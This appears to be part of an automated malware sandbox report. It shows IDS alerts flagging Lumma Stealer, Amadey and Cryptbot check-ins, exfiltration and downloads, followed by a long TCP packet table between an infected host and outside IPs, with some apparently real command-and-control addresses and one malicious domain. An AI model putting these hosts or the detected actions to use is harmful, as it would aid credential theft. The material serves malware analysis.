2024-12-20T02:11:40.204841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49919	172.67.209.202	443	TCP
2024-12-20T02:11:41.424521+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49923	185.215.113.16	80	TCP
2024-12-20T02:11:42.527601+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49927	172.67.209.202	443	TCP
2024-12-20T02:11:42.527601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49927	172.67.209.202	443	TCP
2024-12-20T02:11:42.609694+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49927	172.67.209.202	443	TCP
2024-12-20T02:11:46.448671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49937	104.21.91.209	443	TCP
2024-12-20T02:11:46.683364+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49938	185.215.113.43	80	TCP
2024-12-20T02:11:47.199303+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49937	104.21.91.209	443	TCP
2024-12-20T02:11:47.199303+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49937	104.21.91.209	443	TCP
2024-12-20T02:11:47.670504+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.5	49943	172.67.209.202	443	TCP
2024-12-20T02:11:47.670504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49943	172.67.209.202	443	TCP
2024-12-20T02:11:48.131547+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49944	31.41.244.11	80	TCP
2024-12-20T02:11:48.430831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49945	104.21.91.209	443	TCP
2024-12-20T02:11:48.615756+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49943	172.67.209.202	443	TCP
2024-12-20T02:11:49.211425+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49945	104.21.91.209	443	TCP
2024-12-20T02:11:49.211425+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49945	104.21.91.209	443	TCP
2024-12-20T02:11:51.017788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49950	104.21.91.209	443	TCP
2024-12-20T02:11:53.416292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49956	104.21.91.209	443	TCP
2024-12-20T02:11:56.141900+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49971	104.21.91.209	443	TCP
2024-12-20T02:11:58.989568+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49979	185.215.113.43	80	TCP
2024-12-20T02:12:00.527811+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49988	31.41.244.11	80	TCP
2024-12-20T02:12:01.175507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	104.21.91.209	443	TCP
2024-12-20T02:12:02.229532+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49992	104.21.91.209	443	TCP
2024-12-20T02:12:12.085933+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50039	147.45.113.159	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 02:09:54.913916111 CET	49675	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:09:54.913934946 CET	49674	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:09:55.054513931 CET	49673	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:10:04.523164988 CET	49674	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:10:04.523184061 CET	49675	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:10:04.663825989 CET	49673	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:10:07.106522083 CET	443	49703	23.1.237.91	192.168.2.5
Dec 20, 2024 02:10:07.106637955 CET	49703	443	192.168.2.5	23.1.237.91
Dec 20, 2024 02:11:03.764386892 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:03.883980036 CET	80	49817	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:03.884203911 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:03.884288073 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:04.003797054 CET	80	49817	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:05.215804100 CET	80	49817	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:05.218064070 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.727168083 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.727469921 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.846941948 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:06.847131968 CET	80	49817	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:06.847167015 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.847251892 CET	49817	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.847475052 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:06.966928959 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:08.240948915 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:08.240963936 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:08.241014957 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:08.241036892 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:08.476335049 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:08.476382971 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:08.483083963 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:08.602619886 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:08.602721930 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:08.602868080 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:08.722302914 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942667007 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942694902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942703962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942764044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:09.942826986 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:09.942912102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942920923 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942930937 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.942967892 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:09.943000078 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:09.943147898 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.943161011 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.943171024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.943181992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:09.943326950 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.062361956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.062374115 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.062450886 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.134634972 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.134720087 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.134813070 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.134874105 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.138923883 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.138994932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.138999939 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.139048100 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.145337105 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.145400047 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.145468950 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.145524025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.153728008 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.153784037 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.153851986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.153918982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.162026882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.162081957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.162121058 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.162174940 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.170481920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.170564890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.170567036 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.170613050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.178841114 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.178900957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.178977966 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.179042101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.187294006 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.187319994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.187361956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.187411070 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.195739985 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.195801973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.195827007 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.195857048 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.203950882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.204026937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.204030991 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.204081059 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.211555958 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.211617947 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.211695910 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.211803913 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.254133940 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.254249096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.326623917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.326725960 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.326781034 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.326838970 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.329056978 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.329111099 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.329979897 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.330051899 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.330091000 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.330149889 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.334995031 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.335052967 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.335087061 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.335148096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.339903116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.339947939 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.339961052 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.339989901 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.344862938 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.344921112 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.345006943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.345061064 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.349632025 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.349703074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.349736929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.349792004 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.354443073 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.354497910 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.354548931 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.354602098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.359184027 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.359206915 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.359239101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.359270096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.363883018 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.363940001 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.363970995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.364022970 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.368647099 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.368700981 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.368735075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.368789911 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.373389959 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.373446941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.373486042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.373543978 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.378109932 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.378170013 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.378216028 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.378276110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.382859945 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.382919073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.382987022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.383040905 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.387630939 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.387691021 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.387727976 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.387779951 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.391474009 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.391525984 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.391561031 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.391606092 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.395234108 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.395292044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.395328999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.395386934 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.399013996 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.399087906 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.399126053 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.399180889 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.402877092 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.402893066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.402934074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.402965069 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.406642914 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.406696081 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.406781912 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.406836987 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.410468102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.410536051 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.410557985 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.410609961 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.518563032 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.518584013 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.518726110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.519442081 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.519506931 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.519525051 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.519582033 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.522401094 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.522437096 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.522459030 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.522490025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.524720907 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.524775982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.524785042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.524854898 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.527622938 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.527688980 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.527769089 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.527817011 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.530544043 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.530597925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.530695915 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.530750990 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.533385038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.533446074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.533467054 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.533514023 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.536077976 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.536132097 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.536178112 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.536233902 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.538755894 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.538831949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.538871050 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.538919926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.541402102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.541460037 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.541496038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.541675091 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.544135094 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.544195890 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.544200897 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.544255972 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.546741962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.546801090 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.546858072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.546910048 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.549411058 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.549489021 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.549575090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.549628019 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.552073956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.552126884 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.552165985 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.552221060 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.554791927 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.554841042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.554842949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.554891109 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.557413101 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.557475090 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.557512045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.557566881 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.560075045 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.560141087 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.560179949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.560233116 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.562725067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.562783957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.562819004 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.562865973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.565419912 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.565475941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.565505028 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.565557003 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.568082094 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.568137884 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.568211079 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.568259001 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.570720911 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.570816040 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.570864916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.570864916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.573416948 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.573471069 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.573487997 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.573539972 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.576081038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.576136112 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.576267004 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.576314926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.578741074 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.578799009 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.578840971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.578896999 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.581425905 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.581502914 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.581542015 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.581593990 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.584098101 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.584167957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.584323883 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.584378958 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.586785078 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.586852074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.586950064 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.587007046 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.589457989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.589513063 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.589551926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.589610100 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.592097044 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.592173100 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.592235088 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.592295885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.594758987 CET	80	49831	185.215.113.16	192.168.2.5
